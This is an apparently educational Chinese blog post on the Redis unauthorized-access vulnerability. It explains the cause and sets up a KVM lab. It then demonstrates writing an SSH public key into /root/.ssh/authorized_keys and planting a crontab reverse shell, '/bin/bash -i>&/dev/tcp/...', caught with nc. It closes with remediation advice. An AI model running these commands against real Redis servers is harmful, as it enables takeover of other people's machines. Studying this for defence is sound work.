reids未授权漏洞学习

文章详细介绍了Redis未授权访问漏洞的原理、危害、影响版本,以及如何利用该漏洞进行Webshell植入、SSH公钥写入和crontab反弹shell。同时,文中给出了漏洞修复建议,包括限制IP登录、设置密码认证和修改配置文件权限。
摘要由CSDN通过智能技术生成

redis是什么

redis是完全开源的,遵守BSD开源协议的,高性能的key-value数据库。

BSD协议:是一种开源协议,给予了源代码使用者很大的自由,允许自由的使用,修改源代码,并将修改后的代码作为开源或者专有软件再发布,但是需要遵守一定的原则:
(1)若再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议
(2)若发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议
(3)不可以用开源代码的作者/机构名字和原来产品的名字做市场推广
也就是说,BSD协议是针对开源应用的一个约定熟成的规定,我们可以很自由得使用开源应用包括源代码在内的相关内容,但是也需要尊重代码作者的著作权,因此需要在使用的时候需要遵守一定的原则。

key-value数据库:是一种非关系数据库,使用简单的键值方法来存储数据,将数据存储为键值对集合,其中键作为唯一标识符,并且键和值都可以是从简单对象到复杂对象的任何内容。键值数据库是高度可分区的,允许以其他类型的数据库无法实现的规模进行水平扩展。

redis未授权漏洞原理

  1. redis默认绑定0.0.0.0:6379端口,并且没有添加防火墙规则或其他相关安全策略,redis服务直接暴露在公网,导致任意用户未授权访问redis服务
  2. redis默认密码认证为空,导致任意用户未授权登录redis服务,对数据进行修改

redis未授权漏洞危害

  1. 攻击者未授权访问redis服务并登录读取信息导致敏感信息泄露
  2. 攻击者未授权访问redis服务并登录写入后门程序
  3. 当redis以root身份运行时,攻击者未授权访问redis服务并登录写入攻击者生成的ssh公钥文件,进而攻击者可以使用对应的私钥通过ssh直接登录受害者服务器

ssh登录原理:
(1)口令验证:既账号密码登录
(2)密钥验证:既基于公钥密码的认证方式,公钥和私钥成对唯一匹配,使用公钥加密后只能用与之匹配的私钥进行解密,反之亦然

在这里插入图片描述

redis密钥验证登录流程如上图所示
(1)客户端生成公私钥对并将公钥信息拷贝给服务器
(2)客户端向服务器发起公钥认证请求并附带自己的相关信息
(3)服务端根据客户端相关信息检索是否存在与之匹配的公钥,没有则拒绝登录;有则使用该公钥对一个随机的256位的字符串进行加密并发送给客户端
(4)客户端使用私钥进行解密得到字符串并生成字符串的一个md5值发给服务端
(5)服务端对本地字符串以同样加密算法生成md5值并与客户端发来的md5值进行对比,一样则允许登录,不一样则拒绝登录
(6)随后双方进行加密通信

redis未授权漏洞影响版本

redis 2.x, 3.x, 4.x, 5.x

redis未授权漏洞靶场搭建

这里以kali作为攻击机,centos7作为靶机,我们使用kvm虚拟机来搭建靶机环境

  1. 我们使用kvm虚拟化技术来搭建靶机,关于kvm虚拟化技术的介绍可以参考这篇文章,根据文章中搭建桥接模式KVM虚拟机的步骤搭建好centos7的KVM虚拟机,由于使用的是centos7的minimal版本镜像,因此安装过程只能选择最小化安装,安装完成后使用vnc连接进入centos7的KVM虚拟机界面

在这里插入图片描述

  1. 由于是最小化安装,很多东西都需要我们重新下载安装,执行以下命令安装后续操作步骤所需要的工具
yum update  --  更新yum源
yum install wget  --  安装wget工具
cd /etc/yum.repos.d/  --  cd到yum源所在的目录
cp /CentOS-Base.repo /CentOS-Base-repo.bak  --  备份当前yum源
wget http://mirrors.aliyun.com/repo/Centos-7.repo  --  使用wget下载阿里云yum源
yum clean all  --  清除旧包
mv Centos-7.repo CentOS-Base.repo  --  把下载下来的阿里云repo文件设置成为默认源
yum makecache  --  生成阿里云yum源缓存
yum update  --  更新yum源
yum install gcc  --  安装gcc工具
yum install vim  --  安装vim工具
yum install net-tools  --  安装net-tools工具,使用ifconfig命令
  1. 执行以下命令安装redis
cd /home  --  cd到主目录下
wget http://download.redis.io/releases/redis-3.2.11.tar.gz  --  从官网下载redis源码压缩包
tar -zxf redis-3.2.11.tar.gz  --  在当前目录下解压缩redis压缩包
cd redis-3.2.11
make  --  编译执行
  1. 执行以下命令配置redis
cd src
# 将​redis-server​​和​​redis-cli​​拷贝到/usr/bin目录,以后可以直接使用redis-server和redis-cli命令而不需要进入到redis的安装目录
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..  --  返回redis安装包根目录
cp redis.conf /etc
vim /etc/redis.conf  --  对redis.conf文件做如下修改

在这里插入图片描述

在这里插入图片描述

  1. 执行以下命令启用ssh服务
systemctl start sshd  --  启用ssh服务
systemctl enable sshd  --  设置ssh服务开机自启
systemctl status sshd  --  查看ssh服务的状态
  1. 在kali攻击机上同样按照上述步骤安装redis服务并开启ssh服务
# kali上默认装有ssh服务,但是需要进行配置修改
vim /etc/ssh/sshd_config  --  修改ssh服务的配置文件
将#PasswordAuthentication no的注释去掉,并且将NO修改为YES#PermitRootLogin without-password的注释去掉,并修改为PermitRootLogin yes
service ssh start  --  启用ssh服务
service ssh status  --  查看ssh服务状态
update-rc.d ssh enable  --  设置ssh服务开机自启
  1. 测试网络连接情况,攻击机和靶机相互能ping通

在这里插入图片描述

在这里插入图片描述

  1. 靶机开启redis服务,攻击机尝试使用redis客户端免密登录靶机redis服务器,报错如下

在这里插入图片描述

# 靶机使用修改后的配置文件开启redis服务
redis-server /etc/redis.conf
# 攻击机使用redis客户端登录靶机redis
redis-cli -h 192.168.204.142  --  报错
# 查看靶机防火墙状态
systemctl status firewalld  --  发现为active状态
# 关闭靶机防火墙
systemctl stop firewalld.service
# 再次查看靶机防火墙状态
systemctl status firewalld  --  发现为inactive状态
# 重新使用修改后的配置文件开启靶机redis服务
redis-server /etc/redis.conf
# 攻击机使用redis客户端登录靶机redis
redis-cli -h 192.168.204.142  --  成功登录

在这里插入图片描述

redis未授权漏洞利用姿势

利用原理

漏洞利用的不同姿势的原理都是类似的,都是通过修改靶机redis的备份路径为目标路径,修改靶机redis的备份文件名为目标文件名,通过向靶机redis缓冲区中以键值对的方式写入目标内容,再保存,即可将目标内容以目标文件名的形式写入到目标路径,具体可以参考ssh公钥登录的具体步骤进行体会

利用redis未授权访问登录写入webshell接管站点

利用条件

  1. 目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)
  2. 需要具有读写增删改查权限

由于本机并没有web服务器因此无法做演示,可看参考文章3、4、5

利用redis未授权访问登录写入SSH公钥实现SSH登录

利用原理

由于redis是一个键值对数据库,在攻击机未授权登录靶机redis服务后,可以将攻击机的公钥作为value,key值随意,通过修改数据库的默认备份路径为/root/.ssh,修改默认的缓冲文件名为authorized_keys,把缓冲区的数据保存到备份路径下的authorized_keys文件中,这样就可以把攻击者公钥写入靶机服务器端的/root/.ssh目录下,而该目录又是ssh默认的存放ssh公钥的位置

利用条件

  1. 服务端的redis连接存在未授权,在攻击机上能用redis-cli直接登录连接,并且未登录验证
  2. 服务端存在.ssh目录并且有写入的权限

利用步骤

  1. 执行以下命令在攻击机的/root/.ssh/目录下生成一个公钥文件
cd /root/.ssh
ssh-keygen -t rsa  --  连续按三次回车完成公钥生成

在这里插入图片描述

  1. 执行以下命令将生成的公钥导入到key.txt文件中,再把key.txt文件内容写入到服务端redis的缓冲里
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt  --  前后用`\n`换行,避免和redis里其他缓存数据混合,-e参数指定将字符串中的转义字符转换为相应的特殊字符
cat /root/.ssh/key.txt | redis-cli -h 192.168.204.142 -x set pub  --  管道符`|`会将前一个命令的输出作为后一个命令的输入进行执行,-x参数标识从标准输入读取数据作为该命令的最后一个参数,即将公钥写入到靶机redis服务端的pub键对应的value中,此时pub这个键值对是写入到redis服务器的缓冲之中

在这里插入图片描述

  1. 执行以下命令登录靶机的redis服务,修改靶机redis的备份路径为靶机ssh公钥的默认存放目录(一般为/root/.ssh/),修改靶机redis保存缓冲数据中的公钥键值对的备份文件名为authorized_keys,将缓冲数据保存到靶机服务器硬盘上,从而成功将攻击机的ssh公钥以authorized_keys文件形式写入靶机ssh公钥的默认存放目录中
redis-cli -h 192.168.204.142
config get dir  --  查看redis服务端当前的备份路径
config set dir /root/.ssh  --  修改redis的备份路径,报错靶机上没有/root/.ssh目录
# ctrl+C  --  关闭靶机redis服务
ssh localhost  --  执行命令输入yes会自动生成/root/.ssh目录
redis-server /etc/redis.conf  --  启动靶机redis服务
config set dir /root/.ssh  --  成功修改redis的备份路径
config set dbfilename authorized_keys  --  修改靶机redis保存缓冲数据中的公钥键值对的备份文件名为authorized_keys
save  --  将缓冲数据保存到靶机服务器硬盘上,即将攻击机的ssh公钥以authorized_keys文件形式写入靶机ssh公钥的默认存放目录中
  1. 执行以下命令攻击机使用ssh成功连接靶机
ssh 192.168.204.142

在这里插入图片描述

在crontab中写入定时任务,反弹shell

利用条件

只能在centos上使用,无法在ubuntu上使用,因为默认的redis写文件是644权限,但ubuntu执行定时任务文件/var/spool/cron/crontabs/<username>的权限必须是600,否则报错,而centos在权限644下可以执行定时任务文件/var/spool/cron/<username>

利用步骤

  1. 执行以下命令在攻击机监听端口
nc -lnvp 1234

在这里插入图片描述

  1. 执行以下命令连接crontab反弹shell
redis-cli -h 192.168.204.142  --  连接到靶机redis服务
SET test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.204.143/1234 0>&1\n\n"

上述代码设置了一个名为test的键,其内容为双引号内的内容;前后两个换行避免和其他redis缓冲数据混合

*/1 * * * *是cron的表达式,表示每分钟执行一次任务

/bin/bash -i>&/dev/tcp/192.168.26.120/1234 0>&1表示将’/bin/bash’进程的输入输出重定向到网络套接字192.168.204.143的1234端口,即攻击机的1234端口

config set dir /var/spool/cron  --  修改redis的备份路径
config set dbfilename root  --  修改redis保存缓冲数据的备份文件名
save  --  保存缓冲数据到/var/spool/cron下的root文件中

在这里插入图片描述

经过一分钟左右可以收到反弹的shell

在这里插入图片描述

redis未授权漏洞修复建议

  1. redis配置文件绑定IP,限制IP登录
  2. 修改默认监听端口,更好地隐藏服务
  3. 开启redis安全认证并设置复杂的密码
  4. 禁止使用root权限启动
  5. 修改redis配置文件的访问权限,禁止不相关用户访问配置文件

参考文章

  1. 什么是 BSD 协议?. 菜鸟教程. Available at here (Accessed: 9 july 2023).
  2. 什么是键值数据库?. aws. Available at here (Accessed: 9 july 2023).
  3. Redis未授权访问漏洞复现. 博客园. Available at here (Accessed: 9 july 2023).
  4. Redis未授权漏洞复现及利用方式总结. 51CTO博客. Available at here (Accessed: 9 july 2023).
  5. Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式. Available at here (Accessed: 20 july 2023).
  6. CentOS更换yum源配置. 博客园. Available at here. Accessed: 19 July 2023.
  7. kali 上开启ssh功能. CSDN. Available at here. Accessed: 19 July 2023.
  8. SSH免密登录以及没有.ssh目录如何办. CSDN. Available at here. Accessed: 20 July 2023.
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值